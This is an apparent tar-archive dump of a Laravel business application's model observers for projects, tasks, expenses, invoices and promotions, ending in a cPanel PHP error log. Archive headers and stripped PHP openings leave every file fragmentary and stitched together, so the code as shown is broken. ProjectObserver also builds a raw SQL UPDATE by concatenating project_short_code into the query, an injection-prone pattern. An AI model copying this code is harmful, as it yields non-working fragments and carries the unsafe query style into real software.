'company_id' => $company->id]; UnitType::create($unitTypes); } } Observers/ProjectObserver.php000064400000016435150325104510012352 0ustar00last_updated_by = user()->id; } if (request()->has('added_by')) { $project->added_by = request('added_by'); } } public function creating(Project $project) { $project->hash = md5(microtime()); if (!isRunningInConsoleOrSeeding() && user()) { $project->added_by = user()->id; } if (company()) { $project->company_id = company()->id; } } public function created(Project $project) { if (!$project->public && !empty(request()->user_id)) { $project->projectMembers()->attach(request()->user_id); } if (!isRunningInConsoleOrSeeding()) { if (user()) { self::createEmployeeActivity(user()->id, 'project-created', $project->id, 'proj'); } $mentionIds = []; $mentionDescriptionMembers = []; $unmentionDescriptionMember = []; $unmentionIds = []; if (request()->mention_user_ids != null && request()->mention_user_ids != '' && request()->has('mention_user_ids')) { $project->mentionUser()->sync(request()->mention_user_ids); $mentionIds = explode(',', request()->mention_user_ids); $mentionDescriptionMembers = User::whereIn('id', $mentionIds)->get(); } if (request()->user_id != null || request()->user_id != '' || request()->has('user_id')) { $unmentionIds = array_diff(request()->user_id, $mentionIds); $unmentionDescriptionMember = User::whereIn('id', $unmentionIds)->get(); } if ((request()->mention_user_ids) != null || request()->mention_user_ids != '' || $mentionIds != null && $mentionIds != '') { event(new NewProjectEvent($project, $mentionDescriptionMembers, 'ProjectMention')); if ( (request()->user_id != null || request()->user_id != '' || request()->has('user_id')) && $unmentionIds != null && $unmentionIds != '' ) { event(new NewProjectEvent($project, $unmentionDescriptionMember, 'NewProject')); } } // Send notification to client if (!empty(request()->client_id)) { event(new NewProjectEvent($project, null, $project->client, 'NewProjectClient')); } } } public function updating(Project $project) { if (request()->public && !empty(request()->member_id)) { $project->projectMembers()->detach(request()->member_id); } $mentionedUser = MentionUser::where('project_id', $project->id)->pluck('user_id'); $requestMentionIds = explode(',', request()->mention_user_ids); $newMention = []; if (!request()->has('task_project_id')) { $project->mentionUser()->sync(request()->mention_user_ids); } if ($requestMentionIds != null) { foreach ($requestMentionIds as $value) { if (($mentionedUser) != null) { if (!in_array($value, json_decode($mentionedUser))) { $newMention[] = $value; } } else { $newMention[] = $value; } } $newMentionMembers = User::whereIn('id', $newMention)->get(); if (!empty($newMention)) { event(new NewProjectEvent($project, $newMentionMembers, 'ProjectMention')); } } } public function updated(Project $project) { if (request()->private && !empty(request()->user_id)) { $project->projectMembers()->attach(request()->user_id); } if (!isRunningInConsoleOrSeeding()) { if (user()) { self::createEmployeeActivity(user()->id, 'project-updated', $project->id, 'proj'); } $admins = User::allAdmins($project->company->id); // Send notification to client if ($project->isDirty('status')) { event(new NewProjectEvent($project, $admins, 'statusChange')); } if ($project->isDirty('project_short_code')) { // phpcs:ignore if($project->project_short_code){ DB::statement("UPDATE tasks SET task_short_code = CONCAT( '$project->project_short_code', '-', id ) WHERE project_id = '" . $project->id . "'; "); }else{ DB::statement("UPDATE tasks SET task_short_code = CONCAT( id ) WHERE project_id = '" . $project->id . "'; "); } } } } public function deleting(Project $project) { $universalSearches = UniversalSearch::where('searchable_id', $project->id)->where('module_type', 'project')->get(); if ($universalSearches) { foreach ($universalSearches as $universalSearch) { UniversalSearch::destroy($universalSearch->id); } } $tasks = $project->tasks()->get(); $notifyData = ['App\Notifications\TaskCompleted', 'App\Notifications\SubTaskCompleted', 'App\Notifications\SubTaskCreated', 'App\Notifications\TaskComment', 'App\Notifications\TaskCompletedClient', 'App\Notifications\TaskCommentClient', 'App\Notifications\TaskNote', 'App\Notifications\TaskNoteClient', 'App\Notifications\TaskReminder', 'App\Notifications\TaskUpdated', 'App\Notifications\TaskUpdatedClient', 'App\Notifications\NewTask']; foreach ($tasks as $task) { Notification::whereIn('type', $notifyData) ->whereNull('read_at') ->where( function ($q) use ($task) { $q->where('data', 'like', '{"id":' . $task->id . ',%'); $q->orWhere('data', 'like', '%,"task_id":' . $task->id . ',%'); } )->delete(); } $notifyData = ['App\Notifications\NewProject', 'App\Notifications\NewProjectMember', 'App\Notifications\ProjectReminder', 'App\Notifications\NewRating']; if ($notifyData) { Notification::whereIn('type', $notifyData) ->whereNull('read_at') ->where( function ($q) use ($project) { $q->where('data', 'like', '{"id":' . $project->id . ',%'); $q->orWhere('data', 'like', '%"project_id":' . $project->id . ',%'); } )->delete(); } } public function deleted(Project $project) { $project->tasks()->delete(); if(user()){ self::createEmployeeActivity(user()->id, 'project-deleted', ); } } public function restored(Project $project) { $project->tasks()->restore(); } } Observers/TicketTagObserver.php000064400000000350150325104510012610 0ustar00company_id = company()->id; } } } Observers/about.php7000064400000026574150325104510010442 0ustar00Observers/CurrencyObserver.php000064400000000345150325104510012527 0ustar00company_id = company()->id; } } } Observers/TaskObserver.php000064400000053422150325104510011643 0ustar00last_updated_by = user()->id; /* Add/Update google calendar event */ if (!request()->has('repeat') || request()->repeat == 'no' && !is_null($task->due_date)) { $task->event_id = $this->googleCalendarEvent($task); } } } public function saved(Task $task) { /* Add/Update google calendar event */ if (!request()->has('repeat') || request()->repeat == 'no' && !is_null($task->due_date)) { $this->googleCalendarEvent($task); } } public function creating(Task $task) { $task->hash = md5(microtime()); if (!isRunningInConsoleOrSeeding()) { if (user()) { $task->created_by = user()->id; $task->added_by = user()->id; } if (request()->has('board_column_id')) { $task->board_column_id = request()->board_column_id; } else if (isset(company()->default_task_status)) { $task->board_column_id = company()->default_task_status; } else { $taskBoard = TaskboardColumn::where('slug', 'incomplete')->first(); $task->board_column_id = $taskBoard->id; } } if (company()) { $task->company_id = company()->id; } } public function created(Task $task) { if (!isRunningInConsoleOrSeeding()) { if (user()) { self::createEmployeeActivity(user()->id, 'task-created', $task->id, 'task'); } $mentionIds = []; $mentionDescriptionMembers = null; $unmentionIds = null; $unmentionDescriptionMember = null; if (request()->mention_user_ids != null || request()->mention_user_ids != '' || request()->has('mention_user_ids')) { $task->mentionUser()->sync(request()->mention_user_ids); $mentionIds = explode(',', request()->mention_user_ids); $mentionDescriptionMembers = User::whereIn('id', $mentionIds)->get(); } if (request()->user_id != null || request()->user_id != '' || request()->has('user_id')) { $memberIds = User::whereIn('id', request()->user_id)->get(); event(new TaskEvent($task, $memberIds, 'NewTask')); } if (request()->has('project_id') && request()->project_id != 'all' && request()->project_id != '') { if ((request()->mention_user_id) != null || request()->mention_user_id != '' || $mentionIds != null && $mentionIds != '') { event(new TaskEvent($task, $mentionDescriptionMembers, 'TaskMention')); event(new TaskEvent($task, $mentionDescriptionMembers, 'TaskMentionSms')); } else { if ($task->project->client_id != null && $task->project->allow_client_notification == 'enable' && $task->project->client->status != 'deactive') { event(new TaskEvent($task, $task->project->client, 'NewClientTask')); } } } else { if ((request()->mention_user_id) != null || request()->mention_user_id != '') { event(new TaskEvent($task, $mentionDescriptionMembers, 'TaskMention')); event(new TaskEvent($task, $mentionDescriptionMembers, 'TaskMentionSms')); } } $log = new AccountBaseController(); if (\user()) { $log->logTaskActivity($task->id, user()->id, 'createActivity', $task->board_column_id); } if ($task->project_id) { // Calculate project progress if enabled $log->logProjectActivity($task->project_id, 'messages.newTaskAddedToTheProject'); $this->calculateProjectProgress($task->project_id); } // Log search $log->logSearchEntry($task->id, $task->heading, 'tasks.edit', 'task'); // Sync task users if (!empty(request()->user_id) && request()->template_id == '') { $task->users()->sync(request()->user_id); } } } public function updating(Task $task) { $mentionedUser = MentionUser::where('task_id', $task->id)->pluck('user_id'); $requestMentionIds = explode(',', request()->mention_user_ids); $newMention = []; $task->mentionUser()->sync(request()->mention_user_ids); if ($requestMentionIds != null) { foreach ($requestMentionIds as $value) { if (($mentionedUser) != null) { if (!in_array($value, json_decode($mentionedUser))) { $newMention[] = $value; } } else { $newMention[] = $value; } } $newMentionMembers = User::whereIn('id', $newMention)->get(); if (!empty($newMention)) { event(new TaskEvent($task, $newMentionMembers, 'TaskMention')); event(new TaskEvent($task, $newMentionMembers, 'TaskMentionSms')); } } } // phpcs:ignore public function updated(Task $task) { $movingTaskId = request()->has('movingTaskId'); // If task moved in taskboard if (!isRunningInConsoleOrSeeding()) { if (user()) { self::createEmployeeActivity(user()->id, 'task-updated', $task->id, 'task'); } if ($task->isDirty('board_column_id')) { if ($task->boardColumn->slug == 'completed'){ $notification = 'TaskCompleted'; } elseif ($task->boardColumn->slug == 'waiting_approval'){ $notification = 'TaskApproval'; } else { $notification = 'TaskStatusUpdated'; } if($task->boardColumn->slug == 'waiting_approval'){ $admins = User::allAdmins($task->company->id); $users = $task->taskUsers; $projectAdmintask = Task::with('project') ->whereHas('project', function ($query) { $query->whereNotNull('project_admin'); }) ->get() ->pluck('project.projectAdmin'); $admins = $users->merge($admins); if (!$projectAdmintask->isEmpty()){ $admins = $admins->merge($projectAdmintask); } }else{ $admins = User::allAdmins($task->company->id); } // send task complete notification event(new TaskEvent($task, $admins, $notification)); if ($task->addedByUser) { $addedByUserRole = $task->addedByUser->roles->pluck('name')->toArray(); if (!is_null($task->added_by) && !in_array('client', $addedByUserRole) && !in_array($task->added_by, $admins->pluck('id')->toArray())) { event(new TaskEvent($task, $task->addedByUser, $notification)); } } $taskUser = $task->users->whereNotIn('id', $admins->pluck('id'))->whereNotIn('id', [$task->added_by]); event(new TaskEvent($task, $taskUser, $notification)); $timeLogs = ProjectTimeLog::with('user')->whereNull('end_time') ->where('task_id', $task->id) ->get(); if ($timeLogs && ($task->boardColumn->slug == 'completed' || $task->boardColumn->slug == 'waiting_approval')) { foreach ($timeLogs as $timeLog) { $timeLog->end_time = now(); $timeLog->edited_by_user = (user()) ? user()->id : null; $timeLog->save(); /** @phpstan-ignore-next-line */ $timeLog->total_hours = ($timeLog->end_time->diff($timeLog->start_time)->format('%d') * 24) + ($timeLog->end_time->diff($timeLog->start_time)->format('%H')); if ($timeLog->total_hours == 0) { /** @phpstan-ignore-next-line */ $timeLog->total_hours = round(($timeLog->end_time->diff($timeLog->start_time)->format('%i') / 60), 2); } /** @phpstan-ignore-next-line */ $timeLog->total_minutes = ($timeLog->total_hours * 60) + ($timeLog->end_time->diff($timeLog->start_time)->format('%i')); $timeLog->save(); if (!is_null($timeLog->activeBreak)) { /** @phpstan-ignore-next-line */ $activeBreak = $timeLog->activeBreak; $activeBreak->end_time = $timeLog->end_time; $activeBreak->save(); } } } if ((request()->project_id && request()->project_id != 'all') || (!is_null($task->project_id))) { $project = $task->project; if ($project->client_id != null && $project->allow_client_notification == 'enable' && $project->client->status != 'deactive') { event(new TaskEvent($task, $project->client, 'TaskCompletedClient')); } } } if (request('user_id')) { if (($movingTaskId != '' && $task->id == $movingTaskId) || $movingTaskId == '') { // Send notification to user event(new TaskEvent($task, $task->users, 'TaskUpdated')); } } } /* Add/Update google calendar event */ if (!request()->has('repeat') || request()->repeat == 'no' && !is_null($task->due_date)) { $task->event_id = $this->googleCalendarEvent($task); } if (pusher_settings()->status == 1 && pusher_settings()->taskboard == 1) { Config::set('queue.default', 'sync'); // Set intentionally for instant delivery of messages Config::set('broadcasting.default', 'pusher'); // Set intentionally for instant delivery of messages } // Call for Pusher event(new EventsTaskUpdated()); if (\user()) { if (($movingTaskId != '' && $task->id == $movingTaskId) || $movingTaskId == '') { $log = new AccountBaseController(); $log->logTaskActivity($task->id, user()->id, 'statusActivity', $task->board_column_id); } } if ($task->project_id) { if (($movingTaskId != '' && $task->id == $movingTaskId) || $movingTaskId == '') { // Calculate project progress if enabled $this->calculateProjectProgress($task->project_id); } } } public function deleting(Task $task) { $universalSearches = UniversalSearch::where('searchable_id', $task->id)->where('module_type', 'task')->get(); if ($universalSearches) { foreach ($universalSearches as $universalSearch) { UniversalSearch::destroy($universalSearch->id); } } $notifyData = [ 'App\Notifications\NewTask', 'App\Notifications\TaskUpdated', 'App\Notifications\TaskComment', 'App\Notifications\TaskCommentClient', 'App\Notifications\TaskCompleted', 'App\Notifications\TaskStatusUpdated', 'App\Notifications\TaskApproval', 'App\Notifications\NewClientTask', 'App\Notifications\TaskCompletedClient', 'App\Notifications\TaskNote', 'App\Notifications\TaskNoteClient', 'App\Notifications\TaskReminder', 'App\Notifications\TaskUpdatedClient', 'App\Notifications\SubTaskCreated', 'App\Notifications\SubTaskCompleted' ]; Notification::whereIn('type', $notifyData) ->whereNull('read_at') ->where( function ($q) use ($task) { $q->where('data', 'like', '{"id":' . $task->id . ',%'); $q->orWhere('data', 'like', '%,"task_id":' . $task->id . ',%'); } )->delete(); /* Start of deleting event from google calendar */ $google = new Google(); $googleAccount = company(); if (company()->google_calendar_status == 'active' && $googleAccount->google_calendar_verification_status == 'verified' && $googleAccount->token) { $google->connectUsing($googleAccount->token); try { if ($task->event_id) { $google->service('Calendar')->events->delete('primary', $task->event_id); } } catch (Exception $error) { if (is_null($error->getErrors())) { // Delete google calendar connection data i.e. token, name, google_id $googleAccount->name = null; $googleAccount->token = null; $googleAccount->google_id = null; $googleAccount->google_calendar_verification_status = 'non_verified'; $googleAccount->save(); } } } $task->files()->each(function ($file) { Files::deleteFile($file->hashname, TaskFile::FILE_PATH); Files::deleteDirectory(TaskFile::FILE_PATH . '/' . $file->task_id); $file->delete(); }); /* End of deleting event from google calendar */ } /** * @param Task $task */ public function deleted(Task $task) { if (user()) { self::createEmployeeActivity(user()->id, 'task-deleted'); } if (!is_null($task->project_id)) { // Calculate project progress if enabled $this->calculateProjectProgress($task->project_id); } } protected function googleCalendarEvent($event) { $module = GoogleCalendarModule::first(); $googleAccount = company(); if (!company()) { return $event->event_id; } if (company()->google_calendar_status == 'active' && $googleAccount->google_calendar_verification_status == 'verified' && $googleAccount->token && $module->task_status == 1) { $google = new Google(); $attendiesData = []; $attendees = TaskUser::with(['user'])->whereHas( 'user', function ($query) { $query->where('status', 'active')->where('google_calendar_status', true); } )->where('task_id', $event->id)->get(); foreach ($attendees as $attend) { if (!is_null($attend->user) && !is_null($attend->user->email)) { $attendiesData[] = ['email' => $attend->user->email]; } } if ($event->start_date && $event->due_date) { $start_date = Carbon::parse($event->start_date)->shiftTimezone($googleAccount->timezone); $due_date = Carbon::parse($event->due_date)->shiftTimezone($googleAccount->timezone); // Create event $google = $google->connectUsing($googleAccount->token); $eventData = new Google_Service_Calendar_Event( array( 'summary' => $event->heading, 'location' => $googleAccount->address, 'description' => $event->description, 'colorId' => 7, 'start' => array( 'dateTime' => $start_date, 'timeZone' => $googleAccount->timezone, ), 'end' => array( 'dateTime' => $due_date, 'timeZone' => $googleAccount->timezone, ), 'attendees' => $attendiesData, 'reminders' => array( 'useDefault' => false, 'overrides' => array( array('method' => 'email', 'minutes' => 24 * 60), array('method' => 'popup', 'minutes' => 10), ), ), ) ); try { if ($event->event_id) { $results = $google->service('Calendar')->events->patch('primary', $event->event_id, $eventData); } else { $results = $google->service('Calendar')->events->insert('primary', $eventData); } return $results->id; } catch (Exception $error) { if (is_null($error->getErrors())) { // Delete google calendar connection data i.e. token, name, google_id $googleAccount->name = null; $googleAccount->token = null; $googleAccount->google_id = null; $googleAccount->google_calendar_verification_status = 'non_verified'; $googleAccount->save(); } } } } return $event->event_id; } // Google calendar for multiple events protected function googleCalendarEventMulti($eventIds) { $googleAccount = company(); if (company()->google_calendar_status == 'active' && $googleAccount->google_calendar_verification_status == 'verified' && $googleAccount->token) { $google = new Google(); $events = Task::whereIn('id', $eventIds)->get(); $event = $events->first(); $frq = ['day' => 'DAILY', 'week' => 'WEEKLY', 'month', 'MONTHLY', 'year' => 'YEARLY']; $frequency = $frq[$event->repeat_type]; $eventData = new Google_Service_Calendar_Event(); $eventData->setSummary($event->heading); $eventData->setLocation(''); $start = new Google_Service_Calendar_EventDateTime(); $start->setDateTime($event->start_date->toAtomString()); $start->setTimeZone($googleAccount->timezone); $eventData->setStart($start); $end = new Google_Service_Calendar_EventDateTime(); $end->setDateTime($event->due_date->toAtomString()); $end->setTimeZone($googleAccount->timezone); $eventData->setEnd($end); /** @phpstan-ignore-next-line */ $eventData->setRecurrence(array('RRULE:FREQ=' . $frequency . ';INTERVAL=' . $event->repeat_every . ';COUNT=' . $event->repeat_cycles . ';')); $attendees = TaskUser::with(['user'])->whereHas( 'user', function ($query) { $query->where('status', 'active')->where('google_calendar_status', true); } )->where('task_id', $event->id)->get(); $attendiesData = []; foreach ($attendees as $attend) { if (!is_null($attend->user) && !is_null($attend->user->email)) { $attendee1 = new Google_Service_Calendar_EventAttendee(); $attendee1->setEmail($attend->user->email); $attendiesData[] = $attendee1; } } /** @phpstan-ignore-next-line */ $eventData->attendees = $attendiesData; // Create event $google->connectUsing($googleAccount->token); try { if ($event->event_id) { $results = $google->service('Calendar')->events->patch('primary', $event->event_id, $eventData); } else { $results = $google->service('Calendar')->events->insert('primary', $eventData); } foreach ($events as $event) { $event->event_id = $results->id; $event->save(); } return; } catch (Exception $error) { if (is_null($error->getErrors())) { // Delete google calendar connection data i.e. token, name, google_id $googleAccount->name = null; $googleAccount->token = null; $googleAccount->google_id = null; $googleAccount->google_calendar_verification_status = 'non_verified'; $googleAccount->save(); } } foreach ($events as $event) { $event->event_id = $event->event_id; $event->save(); } } } } Observers/ClientCategoryObserver.php000064400000000367150325104510013655 0ustar00company_id = company()->id; } } } Observers/CustomLinkSettingObserver.php000064400000000400150325104510014353 0ustar00company_id = company()->id; } } } Observers/TicketCustomFormObserver.php000064400000000375150325104510014202 0ustar00company_id = company()->id; } } } Observers/LeadFileObserver.php000064400000002017150325104510012400 0ustar00last_updated_by = user()->id; } } public function created(DealFile $leadFile) { if (!isRunningInConsoleOrSeeding()) { self::createDealHistory($leadFile->deal_id, 'file-added', fileId: $leadFile->id); } } public function creating(DealFile $leadFile) { if (!isRunningInConsoleOrSeeding()) { $leadFile->added_by = user()->id; } } public function deleting(DealFile $leadFile) { Files::deleteFile($leadFile->hashname, DealFile::FILE_PATH . '/' . $leadFile->lead_id); } public function deleted(DealFile $leadFile) { if (user()) { self::createDealHistory($leadFile->deal_id, 'file-deleted'); } } } Observers/ProjectSettingObserver.php000064400000000411150325104510013673 0ustar00company_id = company()->id; } } } Observers/TicketAgentGroupsObserver.php000064400000001132150325104510014332 0ustar00company_id = company()->id; } } public function saving(TicketAgentGroups $model) { if (!isRunningInConsoleOrSeeding()) { $model->last_updated_by = user()->id; } } public function updating(TicketAgentGroups $model) { if (!isRunningInConsoleOrSeeding()) { $model->last_updated_by = user()->id; } } } Observers/CurrencyFormatSettingObserver.php000064400000000414150325104510015233 0ustar00company_id = company()->id; } } } Observers/UserActivityObserver.php000064400000000325150325104510013366 0ustar00company_id = $model->user->company_id; } } Observers/UserPermissionObserver.php000064400000000626150325104510013726 0ustar00permission->name . '-' . $permission->user_id); Cache::forget('permission-id-' . $permission->permission->name . '-' . $permission->user_id); } } Observers/ProductCategoryObserver.php000064400000000416150325104510014052 0ustar00company_id = company()->id; } } } Observers/PromotionObserver.php000064400000002733150325104510012726 0ustar00company_id = company()->id; } } public function created(Promotion $promotion) { if (!isRunningInConsoleOrSeeding() && $promotion->send_notification == 'yes') { event(new PromotionAddedEvent($promotion)); } } public function updated(Promotion $promotion) { if ($promotion->send_notification == 'yes' && ($promotion->isDirty('current_designation_id') || $promotion->isDirty('current_department_id'))) { $previousDesignationId = $promotion->getOriginal('current_designation_id'); $previousDepartmentId = $promotion->getOriginal('current_department_id'); Notification::send($promotion->employee, new PromotionUpdated($promotion, $previousDesignationId, $previousDepartmentId)); } } public function deleting(Promotion $promotion) { ModelsNotification::where('type', 'App\Notifications\PromotionAdded') ->whereNull('read_at') ->where(function ($q) use ($promotion) { $q->where('data', 'like', '{"id":' . $promotion->id . ',%'); })->delete(); } } Observers/InvoiceRecurringObserver.php000064400000011501150325104510014206 0ustar00last_updated_by = user()->id; } if (request()->has('calculate_tax')) { $invoice->calculate_tax = request()->calculate_tax; } } public function creating(RecurringInvoice $invoice) { if (!isRunningInConsoleOrSeeding()) { $invoice->added_by = user()->id; } if (company()) { $invoice->company_id = company()->id; } $days = match ($invoice->rotation) { 'daily' => $invoice->issue_date->addDay(), 'weekly' => $invoice->issue_date->addWeek(), 'bi-weekly' => $invoice->issue_date->addWeeks(2), 'monthly' => $invoice->issue_date->addMonth(), 'quarterly' => $invoice->issue_date->addQuarter(), 'half-yearly' => $invoice->issue_date->addMonths(6), 'annually' => $invoice->issue_date->addYear(), default => $invoice->issue_date->addDay(), }; $invoice->next_invoice_date = $days->format('Y-m-d'); } public function created(RecurringInvoice $invoice) { if (!isRunningInConsoleOrSeeding()) { if (!empty(request()->item_name)) { $itemsSummary = request()->item_summary; $cost_per_item = request()->cost_per_item; $quantity = request()->quantity; $hsn_sac_code = request()->hsn_sac_code; $amount = request()->amount; $tax = request()->taxes; $unitId = request()->unit_id; $product = request()->product_id; $invoice_item_image = request()->invoice_item_image; $invoice_item_image_url = request()->invoice_item_image_url; foreach (request()->item_name as $key => $item) : if (!is_null($item)) { $recurringInvoiceItem = RecurringInvoiceItems::create( [ 'invoice_recurring_id' => $invoice->id, 'item_name' => $item, 'item_summary' => $itemsSummary[$key] ?: '', 'type' => 'item', 'hsn_sac_code' => (isset($hsn_sac_code[$key]) && !is_null($hsn_sac_code[$key])) ? $hsn_sac_code[$key] : null, 'quantity' => $quantity[$key], 'unit_id' => (isset($unitId[$key]) && !is_null($unitId[$key])) ? $unitId[$key] : null, 'product_id' => (isset($product[$key]) && !is_null($product[$key])) ? $product[$key] : null, 'unit_price' => round($cost_per_item[$key], 2), 'amount' => round($amount[$key], 2), 'taxes' => ($tax ? (array_key_exists($key, $tax) ? json_encode($tax[$key]) : null) : null) ] ); } /* Invoice file save here */ if ((isset($invoice_item_image[$key]) || isset($invoice_item_image_url[$key])) && isset($recurringInvoiceItem)) { $filename = ''; if (isset($invoice_item_image[$key])) { $filename = Files::uploadLocalOrS3($invoice_item_image[$key], RecurringInvoiceItemImage::FILE_PATH . '/' . $recurringInvoiceItem->id); } RecurringInvoiceItemImage::create( [ 'invoice_recurring_item_id' => $recurringInvoiceItem->id, 'filename' => !isset($invoice_item_image_url[$key]) ? $invoice_item_image[$key]->getClientOriginalName() : '', 'hashname' => !isset($invoice_item_image_url[$key]) ? $filename : '', 'size' => !isset($invoice_item_image_url[$key]) ? $invoice_item_image[$key]->getSize() : '', 'external_link' => $invoice_item_image_url[$key] ?? '' ] ); } endforeach; } } } public function deleting(RecurringInvoice $invoice) { $notifyData = ['App\Notifications\InvoiceRecurringStatus', 'App\Notifications\NewRecurringInvoice',]; Notification::deleteNotification($notifyData, $invoice->id); } } Observers/ExpenseObserver.php000064400000027773150325104510012362 0ustar00last_updated_by = user()->id; } } public function creating(Expense $expense) { if (!isRunningInConsoleOrSeeding() && user()) { $expense->added_by = user()->id; } if (company()) { $expense->company_id = company()->id; } } public function created(Expense $expense) { if (!isRunningInConsoleOrSeeding()) { if (user()) { self::createEmployeeActivity(user()->id, 'expenses-created', $expense->id, 'expenses'); } if ($expense->user_id != '') { event(new NewExpenseEvent($expense, 'member')); } if ($expense->user_id != '' && $expense->user_id != user()->id) { event(new NewExpenseEvent($expense, 'admin')); } } if (!isRunningInConsoleOrSeeding()) { if (!is_null($expense->bank_account_id) && $expense->status == 'approved') { $bankAccount = BankAccount::find($expense->bank_account_id); $bankBalance = $bankAccount->bank_balance; $totalBalance = $bankBalance - $expense->price; $transaction = new BankTransaction(); $transaction->bank_account_id = $expense->bank_account_id; $transaction->expense_id = $expense->id; $transaction->transaction_date = $expense->purchase_date; $transaction->amount = round($expense->price, 2); $transaction->type = 'Dr'; $transaction->bank_balance = round($totalBalance, 2); $transaction->transaction_relation = 'expense'; $transaction->transaction_related_to = $expense->item_name; $transaction->title = 'expense-added'; $transaction->save(); } } } public function updating(Expense $expense) { if (!isRunningInConsoleOrSeeding()) { if ($expense->isDirty('status') && $expense->status == 'approved') { $expense->approver_id = user()->id; } } if (!isRunningInConsoleOrSeeding()) { if (!is_null($expense->bank_account_id) && $expense->status == 'approved') { if ($expense->isDirty('bank_account_id')) { $account = $expense->getOriginal('bank_account_id'); $oldPrice = $expense->getOriginal('price'); $newPrice = $expense->price; $bankAccount = BankAccount::find($account); if ($bankAccount && $expense->getOriginal('status') == 'approved') { $bankBalance = $bankAccount->bank_balance; $bankBalance += $oldPrice; $transaction = new BankTransaction(); $transaction->expense_id = $expense->id; $transaction->type = 'Cr'; $transaction->bank_account_id = $account; $transaction->amount = round($oldPrice, 2); $transaction->transaction_date = $expense->purchase_date; $transaction->bank_balance = round($bankBalance, 2); $transaction->transaction_relation = 'expense'; $transaction->transaction_related_to = $expense->item_name; $transaction->title = 'expense-modified'; $transaction->save(); $bankAccount->bank_balance = round($bankBalance, 2); $bankAccount->save(); } $newBankAccount = BankAccount::find($expense->bank_account_id); if ($newBankAccount) { $newBankBalance = $newBankAccount->bank_balance; $newBankBalance -= $newPrice; $transaction = new BankTransaction(); $transaction->expense_id = $expense->id; $transaction->type = 'Dr'; $transaction->bank_account_id = $expense->bank_account_id; $transaction->amount = round($newPrice, 2); $transaction->transaction_date = $expense->purchase_date; $transaction->bank_balance = round($newBankBalance, 2); $transaction->transaction_relation = 'expense'; $transaction->transaction_related_to = $expense->item_name; $transaction->title = 'expense-added'; $transaction->save(); $newBankAccount->bank_balance = round($newBankBalance, 2); $newBankAccount->save(); } } elseif (!$expense->isDirty('bank_account_id') && $expense->isDirty('price')) { $bankAccount = BankAccount::find($expense->bank_account_id); $bankBalance = $bankAccount->bank_balance; $account = $expense->getOriginal('bank_account_id'); $oldPrice = $expense->getOriginal('price'); $newPrice = $expense->price; if ($expense->getOriginal('price') > $expense->price) { $newBalance = $oldPrice - $newPrice; $bankBalance += $newBalance; $transaction = new BankTransaction(); $transaction->expense_id = $expense->id; $transaction->type = 'Cr'; $transaction->bank_account_id = $account; $transaction->amount = round($newBalance, 2); $transaction->transaction_date = $expense->purchase_date; $transaction->bank_balance = round($bankBalance, 2); $transaction->transaction_relation = 'expense'; $transaction->transaction_related_to = $expense->item_name; $transaction->title = 'expense-modified'; $transaction->save(); } if ($expense->getOriginal('price') < $expense->price) { $newBalance = $newPrice - $oldPrice; $bankBalance -= $newBalance; $transaction = new BankTransaction(); $transaction->expense_id = $expense->id; $transaction->type = 'Dr'; $transaction->bank_account_id = $account; $transaction->amount = round($newBalance, 2); $transaction->transaction_date = $expense->purchase_date; $transaction->bank_balance = round($bankBalance, 2); $transaction->transaction_relation = 'expense'; $transaction->transaction_related_to = $expense->item_name; $transaction->title = 'expense-modified'; $transaction->save(); } $bankAccount->bank_balance = round($bankBalance, 2); $bankAccount->save(); } elseif ($expense->isDirty('status')) { $bankAccount = BankAccount::find($expense->bank_account_id); $bankBalance = $bankAccount->bank_balance; $newBalance = $bankBalance - $expense->price; $transaction = new BankTransaction(); $transaction->expense_id = $expense->id; $transaction->type = 'Dr'; $transaction->bank_account_id = $expense->bank_account_id; $transaction->amount = round($expense->price, 2); $transaction->transaction_date = $expense->purchase_date; $transaction->bank_balance = round($newBalance, 2); $transaction->transaction_relation = 'expense'; $transaction->transaction_related_to = $expense->item_name; $transaction->title = 'expense-added'; $transaction->save(); $bankAccount->bank_balance = round($newBalance, 2); $bankAccount->save(); } } if ($expense->isDirty('status') && $expense->getOriginal('status') == 'approved' && $expense->status != 'approved') { $bankAccount = BankAccount::find($expense->bank_account_id); if (!is_null($bankAccount)) { $bankBalance = $bankAccount->bank_balance; $newBalance = $bankBalance + $expense->price; $transaction = new BankTransaction(); $transaction->expense_id = $expense->id; $transaction->type = 'Cr'; $transaction->bank_account_id = $expense->bank_account_id; $transaction->amount = round($expense->price, 2); $transaction->transaction_date = $expense->purchase_date; $transaction->bank_balance = round($newBalance, 2); $transaction->transaction_relation = 'expense'; $transaction->transaction_related_to = $expense->item_name; $transaction->title = 'expense-added'; $transaction->save(); $bankAccount->bank_balance = round($newBalance, 2); $bankAccount->save(); } } } } public function updated(Expense $expense) { if (!isRunningInConsoleOrSeeding()) { if (user()) { self::createEmployeeActivity(user()->id, 'expenses-updated', $expense->id, 'expenses'); } if ($expense->isDirty('status') && $expense->user_id != '' && $expense->user_id != user()->id) { event(new NewExpenseEvent($expense, 'status')); } } } public function deleting(Expense $expense) { $notifyData = ['App\Notifications\NewExpenseAdmin', 'App\Notifications\NewExpenseMember', 'App\Notifications\NewExpenseStatus']; Notification:: whereIn('type', $notifyData) ->whereNull('read_at') ->where('data', 'like', '{"id":' . $expense->id . ',%') ->delete(); if (!is_null($expense->bank_account_id) && $expense->status == 'approved') { $account = $expense->bank_account_id; $price = $expense->price; $bankAccount = BankAccount::find($account); if ($bankAccount) { $bankBalance = $bankAccount->bank_balance; $bankBalance += $price; $transaction = new BankTransaction(); $transaction->expense_id = $expense->id; $transaction->type = 'Cr'; $transaction->bank_account_id = $account; $transaction->amount = round($price, 2); $transaction->transaction_date = $expense->purchase_date; $transaction->bank_balance = round($bankBalance, 2); $transaction->transaction_relation = 'expense'; $transaction->transaction_related_to = $expense->item_name; $transaction->title = 'expense-deleted'; $transaction->save(); $bankAccount->bank_balance = round($bankBalance, 2); $bankAccount->save(); } } } public function deleted(Expense $expense) { if (user()) { self::createEmployeeActivity(user()->id, 'expenses-deleted'); } } } error_log000064400000001626150325104510006462 0ustar00[04-Jul-2025 11:40:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 11:40:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), 